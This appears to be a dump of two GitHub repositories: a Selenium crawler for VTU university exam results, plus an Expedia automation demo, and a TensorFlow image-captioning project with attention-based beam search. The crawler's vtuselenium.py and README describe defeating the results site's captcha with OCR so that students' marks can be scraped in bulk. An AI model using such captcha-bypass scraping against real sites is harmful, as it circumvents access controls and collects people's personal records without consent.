8c12c983470ceae359f848c751f911f6c01cfae1
8c71065b7a6500070e78d504b778cbbe3399c783
refs/heads/master
2021-10-29T03:28:36.331510
2021-10-10T17:38:21
2021-10-10T17:38:21
176,758,650
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.7295454740524292, "alphanum_fraction": 0.7507575750350952, "avg_line_length": 31.219512939453125, "blob_id": "4cb7b35c3e4095208c59c861c12d292138b350ad", "content_id": "78c2681b1600e66e4f1c31c46ff6339cc7808eaf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1320, "license_type": "no_license", "max_line_length": 156, "num_lines": 41, "path": "/explicitwait.py", "repo_name": "anantmoudgalya/VTU-Results-Crawler-Selenium", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport time\n\ndriver = webdriver.Chrome(executable_path='/usr/bin/chromedriver')\n\ndriver.implicitly_wait(5)\n\ndriver.maximize_window()\n\ndriver.get(\"https://www.expedia.com/\")\n\ndriver.find_element(By.ID, \"tab-flight-tab-hp\").click()\n\ndriver.find_element(By.ID, \"flight-origin-hp-flight\").send_keys(\"SFO\")\n\ntime.sleep(2)\n\ndriver.find_element(By.ID, \"flight-destination-hp-flight\").send_keys(\"NYC\")\n\ndriver.find_element(By.ID, \"flight-departing-hp-flight\").clear()\ndriver.find_element(By.ID, \"flight-departing-hp-flight\").send_keys(\"03/19/2019\")\n\ndriver.find_element(By.ID, \"flight-returning-hp-flight\")\ndriver.find_element(By.ID, \"flight-returning-hp-flight\").send_keys(\"03/21/2019\")\n\ndriver.find_element(By.XPATH, \"/html/body/meso-native-marquee/section/div/div/div[1]/section/div/div[2]/div[2]/section[1]/form/div[7]/label/button\").click()\n\nwait = WebDriverWait(driver,10)\n\nelement = wait.until(EC.element_to_be_clickable((By.XPATH, \"//*[@id='stopFilter_stops-0']\")))\n\nelement.click()\n\ntime.sleep(3)\n\ndriver.quit()\n#driver.find_element(By.XPATH, \"//*[@id='stopFilter_stops-0']\")" }, { "alpha_fraction": 0.5779625773429871, "alphanum_fraction": 0.6039500832557678, "avg_line_length": 26.898550033569336, "blob_id": "5f1afafa3b47d2aaac870c6c55a68b6876e3f28a", "content_id": "9e57b8575ca0973c35ee7e3cf664bcda7fe5f75f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1924, "license_type": "no_license", "max_line_length": 150, "num_lines": 69, "path": "/vtuselenium.py", "repo_name": "anantmoudgalya/VTU-Results-Crawler-Selenium", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport urllib\nimport pytesseract\nfrom PIL import Image\nimport re\nimport math\n\ndef solve_captcha():\n #BREAK CAPTCHA\n img = driver.find_elements(By.TAG_NAME, \"img\")\n src = img[1].get_attribute('src')\n print(src)\n loc = img[1].location\n size = img[1].size\n print(loc,size)\n driver.save_screenshot('ss.png')\n im = Image.open('ss.png')\n left = loc['x']\n top = loc['y']\n right = loc['x'] + size['width']\n bottom = loc['y'] + size['height']\n im = im.crop((left,top,right,bottom))\n #im.show()\n im.save('ss.png')\n try:\n captcha_text = pytesseract.image_to_string(Image.open('ss.png'))\n except:\n print(\"captcha string error\")\n print(captcha_text)\n\n captcha = driver.find_element(By.NAME,'captchacode')\n captcha.clear()\n captcha.send_keys(captcha_text)\n\ndef grade(k):\n if k < 40:\n return 0\n elif k>=40 and k <45:\n return 4\n elif k >=45 and k<50:\n return 5\n elif k%10 ==0:\n return math.ceil(x/10)+1\n elif k%10!=0:\n return math.ceil(x/10)\n else:\n return 0\n\nk=0\nwhile(k<187):\n driver = webdriver.Chrome(executable_path='/usr/bin/chromedriver')\n driver.get(\"http://results.vtu.ac.in/resultsvitavicbcs_19/index.php\")\n driver.find_element(By.NAME, \"lns\").send_keys(\"1PE16CS018\")\n solve_captcha()\n fp = open('results.txt','w')\n driver.find_element(By.ID,\"submit\").click()\n\n res = driver.find_elements(By.CLASS_NAME, 'divTableCell')\n\n for i in res:\n if re.match(\"^(15CS5[1-6]+[1-3]*)\",i.text) :\n print(i.text,\"name: \",(res[res.index(i)+1]).text,\"marks : \", (res[res.index(i)+4]).text, \"type marks: \",type((res[res.index(i)+4]).text))\n \n\n #print(sub_code)\n #for i in res:\n # print(i.text,\"Index :\",res.index(i))" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7712550759315491, "avg_line_length": 28.117647171020508, "blob_id": "6788b09d7100cd5e5aadec913e7b54ff3d821e75", "content_id": "fc8bde2e14fa2ae487ed7138a9c976e0dee2e293", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 494, "license_type": "no_license", "max_line_length": 67, "num_lines": 17, "path": "/ChromeBrowser.py", "repo_name": "anantmoudgalya/VTU-Results-Crawler-Selenium", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\ndriver = webdriver.Chrome(executable_path='/usr/bin/chromedriver')\n#driver = webdriver.Firefox(executable_path='/usr/bin/geckodriver')\n\ndriver.get(\"http://demo.automationtesting.in/Windows.html\")\nprint(driver.title)\nprint(driver.current_url)\n\ndriver.find_element_by_xpath(\"//*[@id='Tabbed']/a/button\").click()\n\ntime.sleep(5)\n\n#driver.close() #closes only parent window\ndriver.quit() #closes all windows" }, { "alpha_fraction": 0.7814569473266602, "alphanum_fraction": 0.7947019934654236, "avg_line_length": 89.5999984741211, "blob_id": "c4e8991382d929a24e9c73dd070801af9c2768bc", "content_id": "de4a440c38bd00d852c8ec7a16860e431b821be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1359, "license_type": "no_license", "max_line_length": 316, "num_lines": 15, "path": "/README.md", "repo_name": "anantmoudgalya/VTU-Results-Crawler-Selenium", "src_encoding": "UTF-8", "text": "# VTU-Results-Crawler-Selenium\n\nThe web crawler script ([vtuselenium.py](https://github.com/anantmoudgalya/VTU-Results-Crawler-Selenium/blob/master/vtuselenium.py)) can be used to scrape results from the VTU Results website.\n\nThis script automates the process of checking results of multiple students on the VTU Results website, which is very slow if done manually.\n\nThere were a couple of challenges faced while writing this script to achieve the goal of automating result collection.\n\n1. The captcha in the form had to be bypassed. Which was done by taking a screenshot of the captcha image in the form, and then an OCR package (pytesseract) was used to detect captcha text in the same.\n2. The script had to handle for the results being randomized in a table, i.e, first row might be the Computer Networks score for one student, but not for another, which was solved by using regular expressions based on the course code (15CS51 is the Computer Networks course code for everyone), to ensure correctness.\n\nThen the final GPA was calculated based on these scores and all the results were saved in a neat CSV file. \nAll of this can be accomplished in under 5 minutes (entire batch of 210+ students) with this script.\n\n### NOTE: This script worked for the 2018 and 2019 versions of the VTU Results page, please make changes as necessary for the later versions.\n" } ]
4
karmarv/image_captioning
https://github.com/karmarv/image_captioning
1ae292972100b58e555579adebe10e2839573412
e51eda6d7b020e59abd2f779be659c06ff075d34
90809fab3a55baf6175b7d4b5260a2027c0a1429
refs/heads/master
2021-09-15T20:03:43.700045
2018-06-09T20:41:05
2018-06-09T20:41:05
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5924908518791199, "alphanum_fraction": 0.6043956279754639, "avg_line_length": 28.513513565063477, "blob_id": "c6c89fd26b0588db332da8941aa8dcb38f79b86c", "content_id": "ff9090dc4dcf3607ec53bea6c93cd94e2515c383", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1092, "license_type": "permissive", "max_line_length": 79, "num_lines": 37, "path": "/captest.py", "repo_name": "karmarv/image_captioning", "src_encoding": "UTF-8", "text": "import shutil\nimport numpy as np\nimport json \n\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return np.asarray(obj)\n else:\n return super(MyEncoder, self).default(obj)\n\ndef train_images_dump():\n lines = []\n with open(\"train_images.csv\") as file:\n for line in file:\n line = line.strip() #or some other preprocessing\n lines.append(line) #storing everything in memory!\n shutil.copy2(line, './out/')\n\n\ndef json_dump_npy():\n results = []\n results.append({'image_id': np.int32(23456), 'caption': 'brown fox jumps'})\n results.append({'image_id': 34456, 'caption': 'brown fox jumps'})\n fp = open('test.json', 'w')\n json.dump(json.dumps(results, cls=MyEncoder), fp)\n fp.close()\n\n anns = json.load(open('test.json'))\n assert type(anns) == list, 'results in not an array of objects'\n\njson_dump_npy()\n" }, { "alpha_fraction": 0.5069802403450012, "alphanum_fraction": 0.5131796598434448, "avg_line_length": 43.39285659790039, "blob_id": "d7a5e32765c39df3ec61952e1ca793664134d7ac", "content_id": "41a7111053c8fddb126681802eea78491511f08d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21131, "license_type": "permissive", "max_line_length": 115, "num_lines": 476, "path": "/base_model.py", "repo_name": "karmarv/image_captioning", "src_encoding": "UTF-8", "text": "import copy\nimport json\nimport os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tqdm import tqdm\nfrom collections import defaultdict\n\nimport skimage.io as io\nimport skimage\n\nimport six.moves.cPickle as pickle\nfrom utils.coco.coco import COCO\nfrom utils.coco.pycocoevalcap.eval import COCOEvalCap\nfrom utils.misc import CaptionData, ImageLoader, TopN\nfrom utils.nn import NN\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\nclass BaseModel(object):\n def __init__(self, config):\n self.config = config\n self.is_train = True if config.phase == 'train' else False\n self.train_cnn = self.is_train and config.train_cnn\n self.image_loader = ImageLoader('./utils/ilsvrc_2012_mean.npy')\n self.image_shape = [224, 224, 3]\n self.nn = NN(config)\n self.global_step = tf.Variable(0,\n name = 'global_step',\n trainable = False)\n self.build()\n\n def build(self):\n raise NotImplementedError()\n\n def train(self, sess, train_data):\n \"\"\" Train the model using the COCO train2014 data. \"\"\"\n print(\"Training the model...\")\n config = self.config\n\n if not os.path.exists(config.summary_dir):\n os.mkdir(config.summary_dir)\n train_writer = tf.summary.FileWriter(config.summary_dir,\n sess.graph)\n\n for _ in tqdm(list(range(config.num_epochs)), desc='epoch'):\n for _ in tqdm(list(range(train_data.num_batches)), desc='batch'):\n batch = train_data.next_batch()\n image_files, sentences, masks = batch\n images = self.image_loader.load_images(image_files)\n feed_dict = {self.images: images,\n self.sentences: sentences,\n self.masks: masks}\n _, summary, global_step = sess.run([self.opt_op,\n self.summary,\n self.global_step],\n feed_dict=feed_dict)\n if (global_step + 1) % config.save_period == 0:\n self.save()\n train_writer.add_summary(summary, global_step)\n train_data.reset()\n\n self.save()\n train_writer.close()\n print(\"Training complete.\")\n\n def default(o):\n if isinstance(o, np.int64): return int(o)\n raise TypeError\n\n def eval(self, sess, eval_gt_coco, eval_data, vocabulary):\n \"\"\" Evaluate the model using the COCO val2014 data. \"\"\"\n print(\"Evaluating the model ...\")\n config = self.config\n\n results = []\n if not os.path.exists(config.eval_result_dir):\n os.mkdir(config.eval_result_dir)\n\n # Generate the captions for the images\n idx = 0\n for k in tqdm(list(range(eval_data.num_batches)), desc='batch'):\n batch = eval_data.next_batch()\n caption_data = self.beam_search(sess, batch, vocabulary)\n\n fake_cnt = 0 if k<eval_data.num_batches-1 \\\n else eval_data.fake_count\n for l in range(eval_data.batch_size-fake_cnt):\n word_idxs = caption_data[l][0].sentence\n score = caption_data[l][0].score\n caption = vocabulary.get_sentence(word_idxs)\n results.append({'image_id': int(eval_data.image_ids[idx]),\n 'caption': caption})\n idx += 1\n\n # Save the result in an image file, if requested\n if config.save_eval_result_as_image:\n image_file = batch[l]\n image_name = image_file.split(os.sep)[-1]\n image_name = os.path.splitext(image_name)[0]\n img = plt.imread(image_file)\n plt.imshow(img)\n plt.axis('off')\n plt.title(caption)\n plt.savefig(os.path.join(config.eval_result_dir,\n image_name+'_result.jpg'))\n\n print(\"Size of result dump: \", len(results))\n fp = open(config.eval_result_file, 'w')\n json.dump(results, fp)\n fp.close()\n print(\"Captions written to:\", config.eval_result_file)\n\n print(\"Evaluate Captions.\")\n # Evaluate these captions\n eval_result_coco = eval_gt_coco.loadRes(config.eval_result_file)\n scorer = COCOEvalCap(eval_gt_coco, eval_result_coco)\n scorer.evaluate()\n print(\"Evaluation complete.\")\n\n def plot_attention_maps(self, image_file, attention_map, img_caption, config):\n \"\"\" plot the attention_map on the image \"\"\"\n image_name = image_file.split(os.sep)[-1]\n image_name = os.path.basename(os.path.splitext(image_file)[0])\n print(image_file)\n print(\"U:\",len(attention_map))\n \n #attention_map[(attention_maps[0], word_scores_map_list)]\n I = plt.imread(image_file)\n I_gray = skimage.color.rgb2gray(I)\n # get some img paramaters:\n height, width = I_gray.shape\n height_block = int(height/14.)\n width_block = int(width/14.)\n plt.figure(figsize=(14, 14))\n\n img_caption_vector = img_caption.split(\" \")\n caption_length = len(img_caption_vector)\n print(\"Caption Length\\t: \",caption_length)\n if int(caption_length/3.) == caption_length/3.:\n no_of_rows = int(caption_length/3.)\n else:\n no_of_rows = int(caption_length/3.) + 1\n print(\"Num of rows\\t: \", no_of_rows)\n\n\n # turn the caption into a vector of the words\n for step in range(0, caption_length): # captions / time-step\n attn_map = attention_map[step][0]\n word_score = attention_map[step][1]\n\n plt.subplot(no_of_rows, 3, step+1)\n\n attention_probs = attn_map[0][0].flatten()\n # reshape the attention_probs to shape [8,8]:\n attention_probs = np.reshape(attention_probs, (14,14))\n\n # convert the 8x8 attention probs map to an img of the same size as the img:\n I_att = np.zeros((height, width))\n for i in range(14):\n for j in range(14):\n I_att[i*height_block:(i+1)*height_block, j*width_block:(j+1)*width_block] =\\\n np.ones((height_block, width_block))*attention_probs[i,j]\n\n # blend the grayscale img and the attention img:\n alpha = 0.97\n I_blend = alpha*I_att+(1-alpha)*I_gray\n # display the blended img:\n plt.imshow(I_blend, cmap=\"gray\")\n plt.axis('off')\n plt.title(img_caption_vector[step], fontsize=15)\n plt.savefig(os.path.join(config.test_result_dir,\n image_name+'_result_att_map.jpg'), bbox_inches=\"tight\")\n\n for b in range(0, 3): # beams in captions\n print(\"# Attend[step=\",step,\"]:\",attention_probs.shape,\",\\t Words[beam=\",b,\"]:\", word_score[0][b]) \n\n plt.close()\n\n def test(self, sess, test_data, vocabulary):\n \"\"\" Test the model using any given images. \"\"\"\n print(\"Testing the model ...\")\n config = self.config\n\n if not os.path.exists(config.test_result_dir):\n os.mkdir(config.test_result_dir)\n\n captions = []\n scores = []\n attention_map = []\n # Generate the captions for the images\n for k in tqdm(list(range(test_data.num_batches)), desc='path'):\n batch = test_data.next_batch()\n caption_data = self.beam_search(sess, batch, vocabulary)\n #caption_data, attention_map = self.beam_search_mapattn(sess, batch, vocabulary)\n #caption_data = self.dfs_search(sess, batch, vocabulary)\n\n fake_cnt = 0 if k<test_data.num_batches-1 \\\n else test_data.fake_count\n for l in range(test_data.batch_size-fake_cnt):\n word_idxs = caption_data[l][0].sentence\n score = caption_data[l][0].score\n caption = vocabulary.get_sentence(word_idxs)\n captions.append(caption)\n scores.append(score)\n\n image_file = batch[l]\n # Save the result in an image file\n if config.save_test_result_as_image: \n image_name = image_file.split(os.sep)[-1]\n image_name = os.path.basename(os.path.splitext(image_name)[0])\n img = plt.imread(image_file)\n plt.imshow(img)\n plt.axis('off')\n plt.title(caption)\n print('> Saving Image: ', image_file,', \\t caption: ',caption, ',\\t score: ', score)\n plt.savefig(os.path.join(config.test_result_dir,\n image_name+'_result.jpg'))\n if config.save_test_result_as_image_attn_map and len(attention_map) > 0:\n self.plot_attention_maps(image_file, attention_map, caption, config)\n\n # Save the captions to a file\n results = pd.DataFrame({'image_files':test_data.image_files,\n 'caption':captions,\n 'prob':scores})\n results.to_csv(config.test_result_file)\n print(\"Testing complete.\")\n\n def beam_search(self, sess, image_files, vocabulary):\n \"\"\"Use beam search to generate the captions for a batch of images.\"\"\"\n # Feed in the images to get the contexts and the initial LSTM states\n config = self.config\n images = self.image_loader.load_images(image_files)\n contexts, initial_memory, initial_output = sess.run(\n [self.conv_feats, self.initial_memory, self.initial_output],\n feed_dict = {self.images: images})\n\n partial_caption_data = []\n complete_caption_data = []\n for k in range(config.batch_size):\n initial_beam = CaptionData(sentence = [],\n memory = initial_memory[k],\n output = initial_output[k],\n score = 1.0)\n partial_caption_data.append(TopN(config.beam_size))\n partial_caption_data[-1].push(initial_beam)\n complete_caption_data.append(TopN(config.beam_size))\n\n print(\"\\nRun beam search\") \n for idx in range(config.max_caption_length):\n partial_caption_data_lists = []\n for k in range(config.batch_size):\n data = partial_caption_data[k].extract()\n partial_caption_data_lists.append(data)\n partial_caption_data[k].reset()\n\n num_steps = 1 if idx == 0 else config.beam_size\n for b in range(num_steps):\n if idx == 0:\n last_word = np.zeros((config.batch_size), np.int32)\n else:\n last_word = np.array([pcl[b].sentence[-1]\n for pcl in partial_caption_data_lists],\n np.int32)\n\n last_memory = np.array([pcl[b].memory\n for pcl in partial_caption_data_lists],\n np.float32)\n last_output = np.array([pcl[b].output\n for pcl in partial_caption_data_lists],\n np.float32)\n\n memory, output, scores, attention_maps = sess.run(\n [self.memory, self.output, self.probs, self.attention_maps],\n feed_dict = {self.contexts: contexts,\n self.last_word: last_word,\n self.last_memory: last_memory,\n self.last_output: last_output})\n \n # Find the beam_size most probable next words\n for k in range(config.batch_size):\n caption_data = partial_caption_data_lists[k][b]\n #print(b,\".\",k,\".) \",attention_maps[k].shape,\" Attention: \", attention_maps[k])\n #print(k,\".) \",len(scores[k]),\" Probs/Scores: \", scores[k])\n words_and_scores = list(enumerate(scores[k]))\n words_and_scores.sort(key=lambda x: -x[1])\n words_and_scores = words_and_scores[0:config.beam_size+1]\n\n # Append each of these words to the current partial caption\n for w, s in words_and_scores:\n sentence = caption_data.sentence + [w]\n score = caption_data.score * s\n beam = CaptionData(sentence,\n memory[k],\n output[k],\n score)\n if vocabulary.words[w] == '.':\n complete_caption_data[k].push(beam)\n else:\n partial_caption_data[k].push(beam)\n\n results = []\n for k in range(config.batch_size):\n if complete_caption_data[k].size() == 0:\n complete_caption_data[k] = partial_caption_data[k]\n results.append(complete_caption_data[k].extract(sort=True))\n\n return results\n\n\n # This class represents a directed graph using\n # adjacency list representation\n class Graph:\n\n # Constructor\n def __init__(self):\n # default dictionary to store graph\n self.graph = defaultdict(list)\n\n # function to add an edge to graph\n def addEdge(self,u,v):\n self.graph[u].append(v)\n\n\n\n def beam_search_mapattn(self, sess, image_files, vocabulary):\n \"\"\"Use beam search to generate the captions for a batch of images.\"\"\"\n # Feed in the images to get the contexts and the initial LSTM states\n config = self.config\n images = self.image_loader.load_images(image_files)\n contexts, initial_memory, initial_output = sess.run(\n [self.conv_feats, self.initial_memory, self.initial_output],\n feed_dict = {self.images: images})\n\n partial_caption_data = []\n complete_caption_data = []\n for k in range(config.batch_size):\n initial_beam = CaptionData(sentence = [],\n memory = initial_memory[k],\n output = initial_output[k],\n score = 1.0)\n partial_caption_data.append(TopN(config.beam_size))\n partial_caption_data[-1].push(initial_beam)\n complete_caption_data.append(TopN(config.beam_size))\n\n attention_image_word_list = []\n print(\"Run beam search\") \n for idx in range(config.max_caption_length):\n partial_caption_data_lists = []\n for k in range(config.batch_size):\n data = partial_caption_data[k].extract()\n partial_caption_data_lists.append(data)\n partial_caption_data[k].reset()\n attention_map_list = []\n word_scores_map_list = []\n num_steps = 1 if idx == 0 else config.beam_size\n for b in range(num_steps):\n if idx == 0:\n last_word = np.zeros((config.batch_size), np.int32)\n else:\n last_word = np.array([pcl[b].sentence[-1]\n for pcl in partial_caption_data_lists],\n np.int32)\n\n last_memory = np.array([pcl[b].memory\n for pcl in partial_caption_data_lists],\n np.float32)\n last_output = np.array([pcl[b].output\n for pcl in partial_caption_data_lists],\n np.float32)\n\n memory, output, scores, attention_maps = sess.run(\n [self.memory, self.output, self.probs, self.attention_maps],\n feed_dict = {self.contexts: contexts,\n self.last_word: last_word,\n self.last_memory: last_memory,\n self.last_output: last_output})\n attention_map_list.append(attention_maps)\n # Find the beam_size most probable next words\n for k in range(config.batch_size):\n caption_data = partial_caption_data_lists[k][b]\n #print(b,\".\",k,\".) \",attention_maps[k].shape,\" Attention: \", attention_maps[k])\n #print(k,\".) \",len(scores[k]),\" Probs/Scores: \", scores[k])\n words_and_scores = list(enumerate(scores[k]))\n words_and_scores.sort(key=lambda x: -x[1])\n words_and_scores = words_and_scores[0:config.beam_size+1]\n part_wordlist = []\n # Append each of these words to the current partial caption\n for w, s in words_and_scores:\n sentence = caption_data.sentence + [w]\n score = caption_data.score * s\n beam = CaptionData(sentence,\n memory[k],\n output[k],\n score)\n part_wordlist.append((w, score)) # Add the word and score tuple to list \n if vocabulary.words[w] == '.':\n complete_caption_data[k].push(beam)\n else:\n partial_caption_data[k].push(beam)\n word_scores_map_list.append(part_wordlist)\n #print(b,\".) \",attention_maps[0].shape,\", words: \", word_scores_map_list)\n attention_image_word_list.append((attention_maps, word_scores_map_list))\n results = []\n for k in range(config.batch_size):\n if complete_caption_data[k].size() == 0:\n complete_caption_data[k] = partial_caption_data[k]\n results.append(complete_caption_data[k].extract(sort=True))\n\n return results, attention_image_word_list\n\n def save(self):\n \"\"\" Save the model. \"\"\"\n config = self.config\n data = {v.name: v.eval() for v in tf.global_variables()}\n save_path = os.path.join(config.save_dir, str(self.global_step.eval()))\n\n print((\" Saving the model to %s...\" % (save_path+\".npy\")))\n np.save(save_path, data)\n info_file = open(os.path.join(config.save_dir, \"config.pickle\"), \"wb\")\n config_ = copy.copy(config)\n config_.global_step = self.global_step.eval()\n pickle.dump(config_, info_file)\n info_file.close()\n print(\"Model saved.\")\n\n def load(self, sess, model_file=None):\n \"\"\" Load the model. \"\"\"\n config = self.config\n if model_file is not None:\n save_path = model_file\n else:\n info_path = os.path.join(config.save_dir, \"config.pickle\")\n info_file = open(info_path, \"rb\")\n config = pickle.load(info_file)\n global_step = config.global_step\n info_file.close()\n save_path = os.path.join(config.save_dir,\n str(global_step)+\".npy\")\n\n print(\"Loading the model from %s...\" %save_path)\n data_dict = np.load(save_path, encoding='latin1').item()\n count = 0\n for v in tqdm(tf.global_variables()):\n if v.name in data_dict.keys():\n sess.run(v.assign(data_dict[v.name]))\n count += 1\n print(\"%d tensors loaded.\" %count)\n\n def load_cnn(self, session, data_path, ignore_missing=True):\n \"\"\" Load a pretrained CNN model. \"\"\"\n print(\"Loading the CNN from %s...\" %data_path)\n data_dict = np.load(data_path, encoding='latin1').item()\n count = 0\n for op_name in tqdm(data_dict):\n with tf.variable_scope(op_name, reuse = True):\n for param_name, data in data_dict[op_name].items():\n try:\n var = tf.get_variable(param_name)\n session.run(var.assign(data))\n count += 1\n except ValueError:\n pass\n print(\"%d tensors loaded.\" %count)\n" }, { "alpha_fraction": 0.6679099798202515, "alphanum_fraction": 0.7054581642150879, "avg_line_length": 57.239131927490234, "blob_id": "938640289f425b2f5b74272969bef9913fee5f83", "content_id": "e3aea3adafcf4eef8fc5473eb1ce2c6bb9475842", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8043, "license_type": "permissive", "max_line_length": 626, "num_lines": 138, "path": "/README.md", "repo_name": "karmarv/image_captioning", "src_encoding": "UTF-8", "text": "\n### Introduction\nThis neural system for image captioning is roughly based on the paper \"Show, Attend and Tell: Neural Image Caption Generation with Visual Attention\" by Xu et al. (ICML2015). The input is an image, and the output is a sentence describing the content of the image. It uses a convolutional neural network to extract visual features from the image, and uses a LSTM recurrent neural network to decode these features into a sentence. A soft attention mechanism is incorporated to improve the quality of the caption. This project is implemented using the Tensorflow library, and allows end-to-end training of both CNN and RNN parts.\n\n### Setup\nLook in cv_readme.txt document\n\n### Prerequisites\n* **Tensorflow** ([instructions](https://www.tensorflow.org/install/))\n* **NumPy** ([instructions](https://scipy.org/install.html))\n* **OpenCV** ([instructions](https://pypi.python.org/pypi/opencv-python))\n* **Natural Language Toolkit (NLTK)** ([instructions](http://www.nltk.org/install.html))\n* **Pandas** ([instructions](https://scipy.org/install.html))\n* **Matplotlib** ([instructions](https://scipy.org/install.html))\n* **tqdm** ([instructions](https://pypi.python.org/pypi/tqdm))\n* **java** ([instructions](https://docs.oracle.com/javase/8/docs/technotes/guides/install/linux_jdk.html#A1098871))\n\n### MS COCO 2014, images are distributed as follows \n* **Train = 82783**\n* **Valid = 40504**\n* **Tests = 40775**\n\n### Usage\n* **Preparation:** Download the COCO train2014 and val2014 data [here](http://cocodataset.org/#download). \n * Put the COCO train2014 images in the folder `train/images`, and put the file `captions_train2014.json` in the folder `train`. \n * Similarly, put the COCO val2014 images in the folder `val/images`, and put the file `captions_val2014.json` in the folder `val`. \n * Furthermore, download the pretrained VGG16 net [here](https://app.box.com/s/idt5khauxsamcg3y69jz13w6sc6122ph) or ResNet50 net [here](https://app.box.com/s/17vthb1zl0zeh340m4gaw0luuf2vscne) if you want to use it to initialize the CNN part.\n\n* Use a virtual environment for tf with GPU. \n * Activate the Virtualenv and set the variables needed\n ```shell\n source ~/tf/bin/activate\n export LD_LIBRARY_PATH=${LD_LIBRARY_PATH:+${LD_LIBRARY_PATH}:}/usr/local/cuda/lib64/\n export LD_LIBRARY_PATH=${LD_LIBRARY_PATH:+${LD_LIBRARY_PATH}:}/usr/local/cuda/extras/CUPTI/lib64\n\n ```\n * Look at `nvidia-smi` output to know which GPU ID's are free for use. \n * In a shared environment prefix all your commands with gpu identifier `CUDA_VISIBLE_DEVICES=0`\n ```shell\n CUDA_VISIBLE_DEVICES=2 python main.py --phase=train --load --model_file=models/1829999.npy /\n --load_cnn --cnn_model_file=vgg16_no_fc.npy [--train_cnn]\n CUDA_VISIBLE_DEVICES=2 python main.py --phase=eval --model_file=models/1830034.npy --beam_size=3\n CUDA_VISIBLE_DEVICES=2 python main.py --phase=test --model_file=models/1830034.npy --beam_size=3\n ```\n\n* Tensorboard & Jupyter\n * To monitor the progress of training, run the following command\n ```shell\n tensorboard /usr/local/bin/tensorboard --logdir summary/ --port 8886\n ```\n * Jupyter notebook can be run as follows and then port forward based on this for access from a remote machine. Keep a note of the token for this instance to login.\n ```shell\n jupyter notebook --no-browser --port=8887\n ```\n\n * Tunnel and forward port on your local for Tensorboard(port = 8886) or Jupyter (port = 8887)\n ```shell\n ssh -N -L localhost:6006:localhost:8886 [email protected] http://localhost:6006\n ssh -N -L localhost:6007:localhost:8887 [email protected] http://localhost:6007\n ```\n\n * Run in background (nohup or tmux)\n \n ```shell\n # using nohup run in background and dumnp to a log file\n nohup python3 main.py --phase=train --load --model_file=models/10999.npy --load_cnn --cnn_model_file=vgg16_no_fc.npy [--train_cnn] >> run.log &\n\n # Alternately use tmux (a cheatsheet is available in this repo)\n tmux new-session -s rhltf\n tmux attach-session -t rhltf\n ```\n\n* **Training:**\n * Since the dataset is huge, we have added a variable in `config.py` file called `self.train_data_count_limit = 100` to consider only 100 images for this phase. To run on all set it to 0 and ensure that there are images in the train folder along with the captions file.\n * To train a model using the COCO train2014 data, first setup various parameters in the file `config.py` and then run a command like this:\n ```shell\n python main.py --phase=train --load_cnn --cnn_model_file=vgg16_no_fc.npy [--train_cnn] \n\n ```\n * Turn on `--train_cnn` if you want to jointly train the CNN and RNN parts. Otherwise, only the RNN part is trained. The checkpoints will be saved in the folder `models`. If you want to resume the training from a checkpoint, run a command like this:\n ```shell\n python main.py --phase=train --load --model_file=models/1829999.npy [--train_cnn]\n ```\n\n* **Evaluation:**\n * Since the dataset is huge, we have added a variable in `config.py` file called `self.eval_data_count_limit = 100` to consider only 100 images for this phase. To run on all set it to 0 and ensure that the images and caption are in the val folder.\n * To evaluate a trained model using the COCO val2014 data, run a command like this:\n ```shell\n python main.py --phase=eval --model_file=models/1829999.npy --beam_size=3\n ```\n * The result will be shown in stdout. Furthermore, the generated captions will be saved in the file `val/results.json`.\n\n* **Inference:**\n * You can use the trained model to generate captions for any JPEG images! Put such images in the folder `test/images`, and run a command like this:\n ```shell\n python main.py --phase=test --model_file=models/1829999.npy --beam_size=3\n ```\n * The generated captions will be saved in the folder `test/results`.\n\n### Results\n\nProvided my trained network (Epoch 100 on a NVIDIA Geforce 1080 Ti based Ubuntu server) downloadable [here](https://1drv.ms/f/s!AqHh2eQCcWu8g8VryxgPk0fihuGDDw) \nA pretrained model with default configuration can be downloaded [here](https://app.box.com/s/xuigzzaqfbpnf76t295h109ey9po5t8p). \nThis model was trained on the COCO train2014 data. \n\n##### Metrics\nIt achieves the following BLEU scores on the COCO val2014 data (with `beam size=3`):\n* **BLEU-1 = 69.4%**\n* **BLEU-2 = 49.4%**\n* **BLEU-3 = 35.4%**\n* **BLEU-4 = 25.7%**\n\n##### Images \n* Here are some captions generated by this model\n\nPeople/Dogs | Room/Indoors\n:-------------------------:|:-------------------------:\n![examples](test/results/lovedog_result.jpg \"Dog with Rahul Vishwakarma\") | ![examples](test/results/lapt_result.jpg \"My laptop in a room withfurnitures\")\n\n\nTrain & outdoors |\n:-------------------------:|\n![examples](test/results/train_result.jpg \"Amtrak Surfliner Sample at Santa Barbara\") |\n\n\n\n### References\n* [Show, Attend and Tell: Neural Image Caption Generation with Visual Attention](https://arxiv.org/abs/1502.03044). Kelvin Xu, Jimmy Ba, Ryan Kiros, Kyunghyun Cho, 